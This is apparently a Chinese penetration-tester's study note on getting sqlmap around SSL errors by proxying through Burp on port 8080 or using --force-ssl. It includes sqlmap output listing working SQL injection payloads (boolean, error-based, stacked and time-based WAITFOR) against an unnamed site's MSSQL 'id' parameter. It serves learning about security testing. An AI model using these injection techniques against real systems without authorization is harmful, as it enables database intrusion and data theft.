在昨天与师傅的交流中师傅考了我一个问题,在用sqlmap跑的时候遇到ssl爆红该怎么办,因为在实战中并没有遇到过这种情况,所以今天补一下知识。
首先查询了ssl的概念,通俗来说,如果一个网站没有安装ssl证书,那么他的传输方式就是http传输,安装ssl证书过后就是https传输,https传输加密性比http好得多,这是其一;当你访问一些没有安装ssl的网站时,会出现如下界面:
没有安装ssl会导致信息很容易被窃取,这是其二;拥有ssl证书的网站会在谷歌和百度拥有更高的权重,通俗来说就是当你搜索一个相同的内容时,拥有ssl的网站肯定会比没有ssl的网站在搜索上靠前。
了解概念之后回到师傅抛给我的问题,为什么网站会报ssl连接错误呢?
就是因为ssl证书的原因,而且sqlmap它是不能自动伪造ssl证书的,所以这时候就有两种方法去解决ssl爆红的操作:
- 通过本地代理端口进行访问
- 通过搭建web,访问代理文件进行注入
师傅给我说的是第一种方法是最常用的,用bp代理本地8080端口(--proxy http://127.0.0.1:8080)
8080端口是被用于WWW代理服务的,apache安装后默认的端口就是8080端口。
因为目标站是https,加入--force-ssl参数
然而还是报错ssl,这时候就只能代理本地的8080端口
然后就能够顺利跑出来,结果如下:
Parameter: id (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=3395 AND 1967=1967
Vector: AND [INFERENCE]
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)
Payload: id=3395 AND 8669 IN (SELECT (CHAR(113)+CHAR(118)+CHAR(106)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (8669=8669) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(118)+CHAR(113)))
Vector: AND [RANDNUM] IN (SELECT ('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: id=(SELECT CHAR(113)+CHAR(118)+CHAR(106)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (6806=6806) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(118)+CHAR(113))
Vector: (SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: id=3395;WAITFOR DELAY '0:0:5'--
Vector: ;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (IF - comment)
Payload: id=3395 WAITFOR DELAY '0:0:5'--
Vector: IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'--
另外一种方法就是用一个php文件直接用sqlmap跑php就ok
因为第二种方法比较麻烦,还要写代码,这里就先不搞了QAQ
查阅google后看到,第一种方法不一定用bp代理,通过charles本地映射后访问也可以。